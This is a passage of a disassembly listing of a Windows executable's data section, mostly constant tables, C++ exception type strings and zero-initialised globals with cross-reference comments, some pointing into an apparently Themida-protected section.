0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43CD8C dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43CD90 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43CDC8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43CF28 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D084 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D09C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D0BC dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D0DC dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D100 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D120 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D128 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D130 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D148 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43DCB0 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43DEB0 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43DEB4 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43DEB8 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43DEBC dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43DEC0 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43DEC4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43DEC8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dword_43DECC dd 1E21h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00433764o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A50o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384C0o dword_457444 dd 12416h dup(0) db 0 byte_4A049D db 3 dup(0) ; DATA XREF: Themida_:loc_5498B7o ; Themida_:0054E311o dword_4A04A0 dd 5369h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_43832Co dd 569Ah dup(0) dword_4CACB0 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CACB4 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CACB8 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CACBC dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CAD3C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CAD7C dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CAE0C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CAE10 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CAE20 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CAE24 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CAE28 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CAE2C dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CAE30 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CAE34 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CAE38 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CAE3C dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CAE40 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CAE44 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CAE48 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CAE4C dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CAE50 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CAE54 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CAE58 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CAE5C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+B3w dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+934w dword_4CAE90 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B50w dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CAEC0 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CAECC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CAED8 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CAEE0 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CAEE4 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CAEFC dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CAF08 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CAF10 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CAF14 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CAF18 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CAF1C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CAF28 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CAF2C dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CAF48 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CAF4C dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CAF50 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CAF58 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CAF5C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CAF74 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CAF80 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CAF8C dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CAF98 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CAFA4 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+112w dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CAFB4 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CAFBC dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CAFC4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CAFC8 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CAFD4 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CAFE4 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CAFF4 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CAFF8 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB000 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB004 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB008 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB00C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB010 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB014 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB018 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB01C dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB020 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB024 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB02C dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB030 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB034 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB038 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB03C dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB040 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB044 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB048 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB04C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB050 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB054 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB058 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB05C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB060 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB064 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB068 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB06C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB070 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB074 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB078 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB080 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB088 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB090 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB094 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB098 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB09C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB0A4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB0C0 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB0C4 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dd 7FEh dup(0) dword_4CD0C0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD0D8 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD0DC dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD0E0 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD0E4 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD0E8 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD168 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD16C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD170 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD178 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD17C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD280 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CD384 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CD388 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CD38C dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CD390 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CD410 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CD414 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CD418 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CD420 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CD424 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CD528 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CD62C dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CD630 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CD634 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CD638 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CD6B8 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CD6BC dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CD6C0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CD6C8 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CD6CC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CD954 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CDA58 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CDA60 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CDA64 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CDA68 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CDA6C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CDA74 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CDA7C dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CDA80 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CDA84 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CDC8C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CDC94 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CDC9C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CDCA4 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CDCB0 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CDCB4 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CDCBC dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CDCC4 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CDCC8 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CDCD8 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CDCE0 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE108 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CE728 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 11Ch dup(0) dword_4CEB9C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D2B9C dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D2BA0 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D2BA8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D2BE0 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D2DE0 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D35E0 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... dword_4D3DE0 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D3DE4 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D3DE8 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D3DEC dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D3DF0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D3FF0 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D3FF8 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D3FFC dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D4000 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D4004 dd 0 ; DATA XREF: sub_417275+159w ; sub_417552+4Fr dword_4D4008 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D400C dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D4014 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 4Eh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437838o dd 30h dup(0) dword_4D4214 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dd 1944h dup(0) dword_4DA728 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DA72C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DA930 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DA98C dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DAB8C dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DAB90 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DABEC dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; 